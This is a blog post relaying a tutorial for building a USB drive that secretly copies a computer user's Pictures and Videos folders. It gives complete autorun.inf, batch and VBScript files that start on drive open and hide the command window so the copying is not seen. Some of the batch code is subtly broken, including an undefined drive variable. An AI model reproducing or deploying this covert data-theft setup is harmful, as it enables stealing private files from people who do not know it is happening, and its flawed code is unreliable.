How to Copy Files to USB Secretly

Today, I came across a tutorial on instructables that shows you how to copy files from a computer to an USB drive secretly. Well, here’s the tutorial in detail:

How to Copy Files to USB Secretly

Firstly, you need to create 4 files- autorun.inf, file.bat, invisible.vbs and launch.bat. Read the following carefully to understand how these files are created and how they work.
Creating autorun.inf:
Open notepad, paste the following and save the file as autorun.inf

[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat

In the above code “drive.ico” is the icon name. You can change it to reflect the icon you want to use. If you don’t intend to use icon then delete that line.

Creating file.bat:
Open Notepad again, paste the following and save the file as file.bat

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\backup\pics”
%backupcmd% “%USERPROFILE%\videos” “%drive%\backup\vid”
@echo off
Cls

In the above code, “backup” is the name of the folder that is to be created on your USB drive. The files will be copyied into it. The first file path “%USERPROFILE%\pictures” – is the target and the second file path “%drive%\backup\pics” – is the destination.

Creating invisible.vbs:

Open Notepad, paste the following and save as invisible.vbs

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

This code runs the process in the background without showing the CMD prompt and what the batch file is processing.

Creating launch.bat:
Open Notepad, paste the following and save as launch.bat.

wscript.exe \invisible.vbs file.bat

Copy the above four files to your pen drive. Once you have copied the files, create a folder named backup. When you double click to auto run, the copying process starts in the background.

STAY IN TOUCH WITH UPDATES | SUBSCRIBE VIA RSS or Email |

Discussion

7 comments for “How to Copy Files to USB Secretly”

web analytics